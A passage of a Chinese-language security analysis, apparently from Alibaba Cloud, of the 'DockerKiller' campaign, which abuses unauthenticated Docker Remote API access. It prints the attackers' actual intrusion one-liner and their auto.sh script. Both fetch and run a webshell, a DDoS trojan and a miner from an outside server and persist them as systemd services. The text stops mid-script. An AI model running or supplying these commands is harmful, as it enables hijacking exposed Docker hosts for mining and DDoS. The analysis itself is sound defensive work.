相关文章推荐
气势凌人的灯泡  ·  FATAL EXCEPTION: ...·  1 年前    · 
安静的羽毛球  ·  博士申请 | ...·  2 年前    · 
越狱的扁豆  ·  react.js - ...·  2 年前    · 

DockerKiller:Docker的批量攻击与利用实例

随着微服务的热度不断上升,越来越多的企业选择容器来部署自己的应用。而Docker作为实现微服务首选容器,在大规模部署的同时其安全性却没有引起足够的重视。

近期阿里云安全团队发现首个针对Docker批量攻击与利用实例,攻击者对Docker攻击后利用IRC后门、webshell多种手段实现持久化,在主机上执行挖矿、DDoS等恶意行为。随着攻防对抗成本的逐步增加,未来此类攻击利用行为可能会越来越直接,其利用套现方式也会变得多重。建议企业加强对其边缘应用的管理,防范因不当配置而导致的威胁风险。

Docker是一个开源的应用容器引擎,允许开发者将其应用和依赖包打包到一个可移植的容器中,并发布到任何流行的Linux机器上,以实现虚拟化。由于有非常好的移植性,Docker被广泛应用到简化配置、快速部署、多租户环境中,并逐步使用到生产环境中,且广泛部署到云上。

然而,Docker给互联网开发者带来便利的同时,其安全事件或配置却没有像主机端或其他应用得到该有的重视。正如我们所熟知的Redis因配置不当可以导致未授权访问,被攻击者恶意利用,例如著名的蠕虫DDG通过Redis未授权访问漏洞进行传播,且感染量巨大、影响深远。而Docker的Remote API因配置不当也可以未经授权进行访问,与Redis类似攻击者无需认证即可访问到Docker数据,漏洞可能导致铭感信息泄露、修改、服务器受控等。

近期阿里云安全团队发现首个针对Docker批量攻击与利用实例 。被入侵主机上发现了名为bashd、xm、p.php等文件,其分别用于DDos攻击、挖矿、webshell后门维持。由于这批样本专门针对Docker进行攻击、利用,因此我们将这批样本命名为DockerKiller。目前,该样本还未大批量传播,但是一旦爆发,很可能导致Docker被大规模入侵及利用,使企业用户资产遭受重大损失。目前阿里云云盾已经可以防御此类攻击,阿里云安全团队也会持续跟进DockerKiller最新情况,

本文将从扫描、入侵、利用等多个方面,还原DockerKiller整个过程,为大家解密一起专门针对Docker攻击、利用的安全事件。

解密DockerKiller

阿里云安全通过相关线索发现DockerKiller下载服务器,其存放着Linux Shell脚本、二进制文件、php文件以及一些配置文件,其创建时间都为2018年7月17日。



经过分析以上文件为:扫描脚本、入侵脚本、DDoS木马、挖矿程序、WebShell等,通过以上几个部分的相互协作,构成了DockerKiller从扫描到入侵、利用、维持等一系列流程。

其完整的攻击路线图如下:



以下,我们将从入侵、利用、后门维持等方面进行详细分析:

脚本分析(扫描与批量入侵)

从p.txt文件中我们可以发现,在2018年7月16日,作者用Masscan对本地局域网的172所属的5个网段进行了扫描,疑似在测试扫描脚本。



test.sh为发起入侵的脚本,脚本从dockerips.txt中读取通过Masscan扫描得到的开放了2375端口的Docker容器的IP,之后通过命令对读取的IP进行入侵,具体可见从服务器159.203.21.239拉取脚本auto.sh并执行。



其关键代码如下,该脚本通过Docker未授权访问漏洞进行入侵,成功进入被入侵的主机后,即从远程的下载服务器上下载执行脚本auto.sh,之后便执行该脚本,然后进行删除

Docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget 159.203.21.239/p/auto.s " -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh

成功入侵到Docker内之后,将会执行auto.sh,脚本会对老版本文件进行清理,之后从下载服务器中拉取包括webshell、挖矿程序、后门程序、任务文件、挖矿配置文件等众多文件到本地,然后一一执行。

功能执行顺序为:


1. 清理相关文件: 删除老版本挖矿、DDoS木马、服务及其配置文件

2. 下载相关文件: 下载webshell后门、DDoS木马、挖矿程序并执行

3. 开启相关服务: 开启挖矿、DDoS木马服务

相关脚本如下:


#!/bin/sh
rm bashd.1;
rm xm.1;
rm data.cfg.1;
rm bashd.service.1;
rm xm.service.1;
wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';
cp privacy.php /var/www/html/privacy.php;
cp privacy.php /var/www/privacy.php;
rm privacy.php;
chmod -R 777 /var/www;
wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';
wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';
wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';
wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';
wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';
sleep 2s;
chmod 777 bashd;
chmod 777 xm;
sleep 2s;
mv "bashd.service" "/etc/systemd/system/bashd.service";
mv "xm.service" "/etc/systemd/system/xm.service";
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl stop xm.service;
systemctl enable bashd.service;